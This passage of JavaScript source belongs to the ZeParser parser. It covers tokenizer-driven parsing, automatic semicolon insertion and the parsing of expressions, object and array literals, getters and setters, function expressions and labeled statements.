*/\nZeParser.createParser = function(input){\n\tvar tok = new Tokenizer(input);\n\tvar stack = [];\n\ttry {\n\t\tvar parser = new ZeParser(input, tok, stack);\n\t\tparser.parse();\n\t\treturn parser;\n\t} catch (e) {\n\t\tconsole.log(\"Parser has a bug for this input, please report it :)\", e);\n\t\treturn null;\n\t}\n};\nZeParser.prototype = {\n\tinput: null,\n\ttokenizer: null,\n\tstack: null,\n\tscope: null,\n\tstatementLabels: null,\n\terrorStack: null,\n\n\tast: null,\n\n\tparse: function(match){\n\t\tif (match) match = this.tokenizer.storeCurrentAndFetchNextToken(false, match, this.stack); // meh\n\t\telse match = this.tokenizer.storeCurrentAndFetchNextToken(false, null, this.stack, true); // initialization step, dont store the match (there isnt any!)\n\n\t\tmatch = this.eatSourceElements(match, this.stack);\n\n\t\tvar cycled = false;\n\t\tdo {\n\t\t\tif (match && match.name != 12/*eof*/) {\n\t\t\t\t// if not already an error, insert an error before it\n\t\t\t\tif (match.name != 14/*error*/) this.failignore('UnexpectedToken', match, this.stack);\n\t\t\t\t// just parse the token as is and continue.\n\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, this.stack);\n\t\t\t\tcycled = true;\n\t\t\t}\n\n\t\t// keep gobbling any errors...\n\t\t} while (match && match.name == 14/*error*/);\n\n\t\t// now try again (but only if we gobbled at least one token)...\n\t\tif (cycled && match && match.name != 12/*eof*/) match = this.parse(match);\n\n\t\t// pop the last token off the stack if it caused an error at eof\n\t\tif (this.tokenizer.errorEscape) {\n\t\t\tthis.stack.push(this.tokenizer.errorEscape);\n\t\t\tthis.tokenizer.errorEscape = null;\n\t\t}\n\n\t\treturn match;\n\t},\n\n\teatSemiColon: function(match, stack){\n\t\t//this.stats.eatSemiColon = (+//this.stats.eatSemiColon||0)+1;\n\t\tif (match.value == ';') match = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\telse {\n\t\t\t// try asi\n\t\t\t// only if:\n\t\t\t// - this token was preceeded by at least one newline (match.newline) or next token is }\n\t\t\t// - this is EOF\n\t\t\t// - prev token was one of return,continue,break,throw (restricted production), not checked here.\n\n\t\t\t// the exceptions to this rule are \n\t\t\t// - if the next line is a regex \n\t\t\t// - the semi is part of the for-header. \n\t\t\t// these exceptions are automatically caught by the way the parser is built\n\n\t\t\t// not eof and just parsed semi or no newline preceeding and next isnt }\n\t\t\tif (match.name != 12/*EOF*/ && (match.semi || (!match.newline && match.value != '}')) && !(match.newline && (match.value == '++' || match.value == '--'))) {\n\t\t\t\tthis.failignore('NoASI', match, stack);\n\t\t\t} else {\n\t\t\t\t// ASI\n\t\t\t\t// (match is actually the match _after_ this asi, so the position of asi is match.start, not stop (!)\n\t\t\t\tvar asi = {start:match.start,stop:match.start,name:13/*ASI*/};\n\t\t\t\tstack.push(asi);\n\t\t\t\t\n\t\t\t\t// slip it in the stream, before the current match.\n\t\t\t\t// for the other tokens see the tokenizer near the end of the main parsing function\n\t\t\t\tthis.tokenizer.addTokenToStreamBefore(asi, match);\n\t\t\t}\n\t\t}\n\t\tmatch.semi = true;\n\t\treturn match;\n\t},\n\t/**\n\t * Eat one or more \"AssignmentExpression\"s. May also eat a labeled statement if\n\t * the parameters are set that way. This is the only way to linearly distinct between\n\t * an expression-statement and a labeled-statement without double lookahead. (ok, maybe not \"only\")\n\t * @param {boolean} mayParseLabeledStatementInstead=false If the first token is an identifier and the second a colon, accept this match as a labeled statement instead... Only true if the match in the parameter is an (unreserved) identifier (so no need to validate that further) \n\t * @param {Object} match\n\t * @param {Array} stack\n\t * @param {boolean} onlyOne=false Only parse a AssignmentExpression\n\t * @param {boolean} forHeader=false Do not allow the `in` operator\n\t * @param {boolean} isBreakOrContinueArg=false The argument for break or continue is always a single identifier\n\t * @return {Object}\n\t */\n\teatExpressions: function(mayParseLabeledStatementInstead, match, stack, onlyOne, forHeader, isBreakOrContinueArg){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar pstack = stack;\n\t\t\tstack = [];\n\t\t\tstack.desc = 'expressions';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tpstack.push(stack);\n\n\t\t\tvar parsedExpressions = 0;\n\t\t} //#endif\n\n\t\tvar first = true;\n\t\tdo {\n\t\t\tvar parsedNonAssignmentOperator = false; // once we parse a non-assignment, this expression can no longer parse an assignment\n\t\t\t// TOFIX: can probably get the regex out somehow...\n\t\t\tif (!first) {\n\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('ExpectedAnotherExpressionComma', match);\n\t\t\t}\n\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t++parsedExpressions;\n\n\t\t\t\tvar astack = stack;\n\t\t\t\tstack = [];\n\t\t\t\tstack.desc = 'expression';\n\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\tastack.push(stack);\n\t\t\t} //#endif\n\n\t\t\t// start of expression is given: match\n\t\t\t// it should indeed be a properly allowed lhs\n\t\t\t// first eat all unary operators\n\t\t\t// they can be added to the stack, but we need to ensure they have indeed a valid operator\n\n\t\t\tvar parseAnotherExpression = true;\n\t\t\twhile (parseAnotherExpression) { // keep parsing lhs+operator as long as there is an operator after the lhs.\n\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\tvar estack = stack;\n\t\t\t\t\tstack = [];\n\t\t\t\t\tstack.desc = 'sub-expression';\n\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\testack.push(stack);\n\n\t\t\t\t\tvar news = 0; // encountered new operators waiting for parenthesis\n\t\t\t\t} //#endif\n\n\t\t\t\t// start checking lhs\n\t\t\t\t// if lhs is identifier (new/call expression), allow to parse an assignment operator next\n\t\t\t\t// otherwise keep eating unary expressions and then any \"value\"\n\t\t\t\t// after that search for a binary operator. if we only ate a new/call expression then\n\t\t\t\t// also allow to eat assignments. repeat for the rhs.\n\t\t\t\tvar parsedUnaryOperator = false;\n\t\t\t\tvar isUnary = null;\n\t\t\t\twhile (\n\t\t\t\t\t!isBreakOrContinueArg && // no unary for break/continue\n\t\t\t\t\t(isUnary =\n\t\t\t\t\t\t(match.value && this.hashUnaryKeywordStart[match.value[0]] && this.regexUnaryKeywords.test(match.value)) || // (match.value == 'delete' || match.value == 'void' || match.value == 'typeof' || match.value == 'new') ||\n\t\t\t\t\t\t(match.name == 11/*PUNCTUATOR*/ && this.regexUnaryOperators.test(match.value))\n\t\t\t\t\t)\n\t\t\t\t) {\n\t\t\t\t\tif (isUnary) match.isUnaryOp = true;\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t// find parenthesis\n\t\t\t\t\t\tif (match.value == 'new') ++news;\n\t\t\t\t\t} //#endif\n\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t// ensure that it is in fact a valid lhs-start\n\t\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('ExpectedAnotherExpressionRhs', match);\n\t\t\t\t\t// not allowed to parse assignment\n\t\t\t\t\tparsedUnaryOperator = true;\n\t\t\t\t};\n\n\t\t\t\t// if we parsed any kind of unary operator, we cannot be parsing a labeled statement\n\t\t\t\tif (parsedUnaryOperator) mayParseLabeledStatementInstead = false;\n\n\t\t\t\t// so now we know match is a valid lhs-start and not a unary operator\n\t\t\t\t// it must be a string, number, regex, identifier \n\t\t\t\t// or the start of an object literal ({), array literal ([) or group operator (().\n\n\t\t\t\tvar acceptAssignment = false;\n\n\t\t\t\t// take care of the \"open\" cases first (group, array, object)\n\t\t\t\tif (match.value == '(') {\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tvar groupStack = stack;\n\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\tstack.desc = 'grouped';\n\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\tgroupStack.push(stack);\n\n\t\t\t\t\t\tvar lhp = match;\n\n\t\t\t\t\t\tmatch.isGroupStart = true;\n\t\t\t\t\t} //#endif\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('GroupingShouldStartWithExpression', match);\n\t\t\t\t\t// keep parsing expressions as long as they are followed by a comma\n\t\t\t\t\tmatch = this.eatExpressions(false, match, stack);\n\n\t\t\t\t\tif (match.value != ')') match = this.failsafe('UnclosedGroupingOperator', match);\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tmatch.twin = lhp;\n\t\t\t\t\t\tlhp.twin = match;\n\n\t\t\t\t\t\tmatch.isGroupStop = true;\n\n\t\t\t\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t\t\t\t// create ref to this expression group to the opening paren\n\t\t\t\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t\t\t\t}\n\t\t\t\t\t} //#endif\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // might be div\n\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tstack = groupStack;\n\t\t\t\t\t} //#endif\n\t\t\t\t\t// you can assign to group results. and as long as the group does not contain a comma (and valid ref), it will work too :)\n\t\t\t\t\tacceptAssignment = true;\n\t\t\t\t// there's an extra rule for [ namely that, it must start with an expression but after that, expressions are optional\n\t\t\t\t} else if (match.value == '[') {\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tstack.sub = 'array literal';\n\t\t\t\t\t\tstack.hasArrayLiteral = true;\n\t\t\t\t\t\tvar lhsb = match;\n\n\t\t\t\t\t\tmatch.isArrayLiteralStart = true;\n\n\t\t\t\t\t\tif (!this.scope.arrays) this.scope.arrays = [];\n\t\t\t\t\t\tmatch.arrayId = this.scope.arrays.length;\n\t\t\t\t\t\tthis.scope.arrays.push(match);\n\n\t\t\t\t\t\tmatch.targetScope = this.scope;\n\t\t\t\t\t} //#endif\n\t\t\t\t\t// keep parsing expressions as long as they are followed by a comma\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t\t\t\t// arrays may start with \"elided\" commas\n\t\t\t\t\twhile (match.value == ',') match = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t\t\t\tvar foundAtLeastOneComma = true; // for entry in while\n\t\t\t\t\twhile (foundAtLeastOneComma && match.value != ']') {\n\t\t\t\t\t\tfoundAtLeastOneComma = false;\n\n\t\t\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value)) && match.name != 14/*error*/) match = this.failsafe('ArrayShouldStartWithExpression', match);\n\t\t\t\t\t\tmatch = this.eatExpressions(false, match, stack, true);\n\n\t\t\t\t\t\twhile (match.value == ',') {\n\t\t\t\t\t\t\tfoundAtLeastOneComma = true;\n\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (match.value != ']') {\n\t\t\t\t\t\tmatch = this.failsafe('UnclosedPropertyBracket', match);\n\t\t\t\t\t}\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tmatch.twin = lhsb;\n\t\t\t\t\t\tlhsb.twin = match;\n\n\t\t\t\t\t\tmatch.isArrayLiteralStop = true;\n\t\t\t\t\t} //#endif\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // might be div\n\t\t\t\t\twhile (match.value == '++' || match.value == '--') {\n\t\t\t\t\t\t// gobble and ignore?\n\t\t\t\t\t\tthis.failignore('InvalidPostfixOperandArray', match, stack);\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t}\n\t\t\t\t// object literals need seperate handling...\n\t\t\t\t} else if (match.value == '{') {\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tstack.sub = 'object literal';\n\t\t\t\t\t\tstack.hasObjectLiteral = true;\n\n\t\t\t\t\t\tmatch.isObjectLiteralStart = true;\n\n\t\t\t\t\t\tif (!this.scope.objects) this.scope.objects = [];\n\t\t\t\t\t\tmatch.objectId = this.scope.objects.length;\n\t\t\t\t\t\tthis.scope.objects.push(match);\n\n\t\t\t\t\t\tvar targetObject = match;\n\t\t\t\t\t\tmatch.targetScope = this.scope;\n\t\n\t\t\t\t\t\tvar lhc = match;\n\t\t\t\t\t} //#endif\n\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\tif (match.name == 12/*eof*/) {\n\t\t\t\t\t\tmatch = this.failsafe('ObjectLiteralExpectsColonAfterName', match);\n\t\t\t\t\t}\n\t\t\t\t\t// ObjectLiteral\n\t\t\t\t\t// PropertyNameAndValueList\n\n\t\t\t\t\twhile (match.value != '}' && match.name != 14/*error*/) { // will stop if next token is } or throw if not and no comma is found\n\t\t\t\t\t\t// expecting a string, number, or identifier\n\t\t\t\t\t\t//if (match.name != 5/*STRING_SINGLE*/ && match.name != 6/*STRING_DOUBLE*/ && match.name != 3/*NUMERIC_HEX*/ && match.name != 4/*NUMERIC_DEC*/ && match.name != 2/*IDENTIFIER*/) {\n\t\t\t\t\t\t// TOFIX: more specific errors depending on type...\n\t\t\t\t\t\tif (!match.isNumber && !match.isString && match.name != 2/*IDENTIFIER*/) {\n\t\t\t\t\t\t\tmatch = this.failsafe('IllegalPropertyNameToken', match);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tvar objLitStack = stack;\n\t\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\t\tstack.desc = 'objlit pair';\n\t\t\t\t\t\t\tstack.isObjectLiteralPair = true;\n\t\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\t\tobjLitStack.push(stack);\n\n\t\t\t\t\t\t\tvar propNameStack = stack;\n\t\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\t\tstack.desc = 'objlit pair name';\n\t\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\t\tpropNameStack.push(stack);\n\n\t\t\t\t\t\t\tpropNameStack.sub = 'data';\n\n\t\t\t\t\t\t\tvar propName = match;\n\t\t\t\t\t\t\tpropName.isPropertyName = true;\n\t\t\t\t\t\t} //#endif\n\n\t\t\t\t\t\tvar getset = match.value;\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tstack = propNameStack;\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\n\t\t\t\t\t\t// for get/set we parse a function-like definition. but only if it's immediately followed by an identifier (otherwise it'll just be the property 'get' or 'set')\n\t\t\t\t\t\tif (getset == 'get') {\n\t\t\t\t\t\t\t// \"get\" PropertyName \"(\" \")\" \"{\" FunctionBody \"}\"\n\t\t\t\t\t\t\tif (match.value == ':') {\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tpropName.isPropertyOf = targetObject;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.eatObjectLiteralColonAndBody(match, stack);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tmatch.isPropertyOf = targetObject;\n\t\t\t\t\t\t\t\t\tpropNameStack.sub = 'getter';\n\t\t\t\t\t\t\t\t\tpropNameStack.isAccessor = true;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\t// if (match.name != 2/*IDENTIFIER*/ && match.name != 5/*STRING_SINGLE*/ && match.name != 6/*STRING_DOUBLE*/ && match.name != 3/*NUMERIC_HEX*/ && match.name != 4/*NUMERIC_DEC*/) {\n\t\t\t\t\t\t\t\tif (!match.isNumber && !match.isString && match.name != 2/*IDENTIFIER*/) match = this.failsafe('IllegalGetterSetterNameToken', match, true);\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tif (match.value != '(') match = this.failsafe('GetterSetterNameFollowedByOpenParen', match);\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tvar lhp = match;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tif (match.value != ')') match = this.failsafe('GetterHasNoArguments', match);\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tmatch.twin = lhp;\n\t\t\t\t\t\t\t\t\tlhp.twin = match;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tmatch = this.eatFunctionBody(match, stack);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else if (getset == 'set') {\n\t\t\t\t\t\t\t// \"set\" PropertyName \"(\" PropertySetParameterList \")\" \"{\" FunctionBody \"}\"\n\t\t\t\t\t\t\tif (match.value == ':') {\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tpropName.isPropertyOf = targetObject;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.eatObjectLiteralColonAndBody(match, stack);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tmatch.isPropertyOf = targetObject;\n\t\t\t\t\t\t\t\t\tpropNameStack.sub = 'setter';\n\t\t\t\t\t\t\t\t\tpropNameStack.isAccessor = true;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tif (!match.isNumber && !match.isString && match.name != 2/*IDENTIFIER*/) match = this.failsafe('IllegalGetterSetterNameToken', match);\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tif (match.value != '(') match = this.failsafe('GetterSetterNameFollowedByOpenParen', match);\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tvar lhp = match;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tif (match.name != 2/*IDENTIFIER*/) {\n\t\t\t\t\t\t\t\t\tif (match.value == ')') match = this.failsafe('SettersMustHaveArgument', match);\n\t\t\t\t\t\t\t\t\telse match = this.failsafe('IllegalSetterArgumentNameToken', match);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tif (match.value != ')') {\n\t\t\t\t\t\t\t\t\tif (match.value == ',') match = this.failsafe('SettersOnlyGetOneArgument', match);\n\t\t\t\t\t\t\t\t\telse match = this.failsafe('SetterHeaderShouldHaveClosingParen', match);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t\tmatch.twin = lhp;\n\t\t\t\t\t\t\t\t\tlhp.twin = match;\n\t\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\t\tmatch = this.eatFunctionBody(match, stack);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// PropertyName \":\" AssignmentExpression\n\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\tpropName.isPropertyOf = targetObject;\n\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\tmatch = this.eatObjectLiteralColonAndBody(match, stack);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tstack = objLitStack;\n\t\t\t\t\t\t} //#endif\n\n\t\t\t\t\t\t// one trailing comma allowed\n\t\t\t\t\t\tif (match.value == ',') {\n\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\tif (match.value == ',') match = this.failsafe('IllegalDoubleCommaInObjectLiteral', match);\n\t\t\t\t\t\t} else if (match.value != '}') match = this.failsafe('UnclosedObjectLiteral', match);\n\n\t\t\t\t\t\t// either the next token is } and the loop breaks or\n\t\t\t\t\t\t// the next token is the start of the next PropertyAssignment...\n\t\t\t\t\t}\n\t\t\t\t\t// closing curly\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tmatch.twin = lhc;\n\t\t\t\t\t\tlhc.twin = match;\n\n\t\t\t\t\t\tmatch.isObjectLiteralStop = true;\n\t\t\t\t\t} //#endif\n\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // next may be div\n\t\t\t\t\twhile (match.value == '++' || match.value == '--') {\n\t\t\t\t\t\tthis.failignore('InvalidPostfixOperandObject', match, stack);\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t}\n\t\t\t\t} else if (match.value == 'function') { // function expression\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\tvar oldstack = stack;\n\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\tstack.desc = 'func expr';\n\t\t\t\t\t\tstack.isFunction = true;\n\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\tif (!this.scope.functions) this.scope.functions = [];\n\t\t\t\t\t\tmatch.functionId = this.scope.functions.length;\n\t\t\t\t\t\tthis.scope.functions.push(match);\n\t\t\t\t\t\toldstack.push(stack);\n\t\t\t\t\t\tvar oldscope = this.scope;\n\t\t\t\t\t\t// add new scope\n\t\t\t\t\t\tmatch.scope = stack.scope = this.scope = [\n\t\t\t\t\t\t\tthis.scope,\n\t\t\t\t\t\t\t{value:'this', isDeclared:true, isEcma:true, functionStack: stack},\n\t\t\t\t\t\t\t{value:'arguments', isDeclared:true, isEcma:true, varType:['Object']}\n\t\t\t\t\t\t]; // add the current scope (to build chain up-down)\n\t\t\t\t\t\tthis.scope.upper = oldscope;\n\t\t\t\t\t\t// ref to back to function that's the cause for this scope\n\t\t\t\t\t\tthis.scope.scopeFor = match;\n\t\t\t\t\t\tmatch.targetScope = oldscope; // consistency\n\t\t\t\t\t\tmatch.isFuncExprKeyword = true;\n\t\t\t\t\t\tmatch.functionStack = stack;\n\t\t\t\t\t} //#endif\n\t\t\t\t\tvar funcExprToken = match;\n\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\tif (mayParseLabeledStatementInstead && match.value == ':') match = this.failsafe('LabelsMayNotBeReserved', match);\n\t\t\t\t\tif (match.name == 2/*IDENTIFIER*/) {\n\t\t\t\t\t\tfuncExprToken.funcName = match;\n\t\t\t\t\t\tmatch.meta = \"func expr name\";\n\t\t\t\t\t\tmatch.varType = ['Function'];\n\t\t\t\t\t\tmatch.functionStack = stack; // ref to the stack, in case we detect the var being a constructor\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t// name is only available to inner scope\n\t\t\t\t\t\t\tthis.scope.push({value:match.value});\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\tif (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) match = this.failsafe('FunctionNameMustNotBeReserved', match);\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t}\n\t\t\t\t\tmatch = this.eatFunctionParametersAndBody(match, stack, true, funcExprToken); // first token after func-expr is div\n\n\t\t\t\t\twhile (match.value == '++' || match.value == '--') {\n\t\t\t\t\t\tthis.failignore('InvalidPostfixOperandFunction', match, stack);\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t// restore stack and scope\n\t\t\t\t\t\tstack = oldstack;\n\t\t\t\t\t\tthis.scope = oldscope;\n\t\t\t\t\t} //#endif\n\t\t\t\t} else if (match.name <= 6) { // IDENTIFIER STRING_SINGLE STRING_DOUBLE NUMERIC_HEX NUMERIC_DEC REG_EX\n\t\t\t\t\t// save it in case it turns out to be a label.\n\t\t\t\t\tvar possibleLabel = match;\n\n\t\t\t\t\t// validate the identifier, if any\n\t\t\t\t\tif (match.name == 2/*IDENTIFIER*/) {\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t// this, null, true, false are actually allowed here\n\t\t\t\t\t\t\t!this.regexLiteralKeywords.test(match.value) &&\n\t\t\t\t\t\t\t// other reserved words are not\n\t\t\t\t\t\t\tthis.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)\n\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t// if break/continue, we skipped the unary operator check so throw the proper error here\n\t\t\t\t\t\t\tif (isBreakOrContinueArg) {\n\t\t\t\t\t\t\t\tthis.failignore('BreakOrContinueArgMustBeJustIdentifier', match, stack);\n\t\t\t\t\t\t\t} else if (match.value == 'else') {\n\t\t\t\t\t\t\t\tthis.failignore('DidNotExpectElseHere', match, stack);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t//if (mayParseLabeledStatementInstead) {new ZeParser.Error('LabelsMayNotBeReserved', match);\n\t\t\t\t\t\t\t\t// TOFIX: lookahead to see if colon is following. throw label error instead if that's the case\n\t\t\t\t\t\t\t\t// any forbidden keyword at this point is likely to be a statement start.\n\t\t\t\t\t\t\t\t// its likely that the parser will take a while to recover from this point...\n\t\t\t\t\t\t\t\tthis.failignore('UnexpectedToken', match, stack);\n\t\t\t\t\t\t\t\t// TOFIX: maybe i should just return at this point. cut my losses and hope for the best.\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// only accept assignments after a member expression (identifier or ending with a [] suffix)\n\t\t\t\t\t\tacceptAssignment = true;\n\t\t\t\t\t} else if (isBreakOrContinueArg) match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\n\t\t\t\t\t// the current match is the lead value being queried. tag it that way\n\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t// dont mark labels\n\t\t\t\t\t\tif (!isBreakOrContinueArg) {\n\t\t\t\t\t\t\tmatch.meta = 'lead value';\n\t\t\t\t\t\t\tmatch.leadValue = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t} //#endif\n\n\n\t\t\t\t\t// ok. gobble it.\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // division allowed\n\n\t\t\t\t\t// now check for labeled statement (if mayParseLabeledStatementInstead then the first token for this expression must be an (unreserved) identifier)\n\t\t\t\t\tif (mayParseLabeledStatementInstead && match.value == ':') {\n\t\t\t\t\t\tif (possibleLabel.name != 2/*IDENTIFIER*/) {\n\t\t\t\t\t\t\t// label was not an identifier\n\t\t\t\t\t\t\t// TOFIX: this colon might be a different type of error... more analysis required\n\t\t\t\t\t\t\tthis.failignore('LabelsMayOnlyBeIdentifiers', match, stack);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tmayParseLabeledStatementInstead = true; // mark label parsed (TOFIX:speed?)\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t\t\t\t\tpossibleLabel.isLabel = true;\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tdelete possibleLabel.meta; // oh oops, it's not a lead value.\n\n\t\t\t\t\t\t\tpossibleLabel.isLabelDeclaration = true;\n\t\t\t\t\t\t\tthis.statementLabels.push(possibleLabel.value);\n\n\t\t\t\t\t\t\tstack.desc = 'labeled statement';\n\t\t\t\t\t\t} //#endif\n\n\t\t\t\t\t\tvar errorIdToReplace = this.errorStack.length;\n\t\t\t\t\t\t// eat another statement now, its the body of the labeled statement (like if and while)\n\t\t\t\t\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\t\t\t\t\t// if no statement was found, check here now and correct error\n\t\t\t\t\t\tif (match.error && match.error.msg == ZeParser.Errors.UnableToParseStatement.msg) {\n\t\t\t\t\t\t\t// replace with better error...\n\t\t\t\t\t\t\tmatch.error = new ZeParser.Error('LabelRequiresStatement');\n\t\t\t\t\t\t\t// also replace on stack\n\t\t\t\t\t\t\tthis.errorStack[errorIdToReplace] = 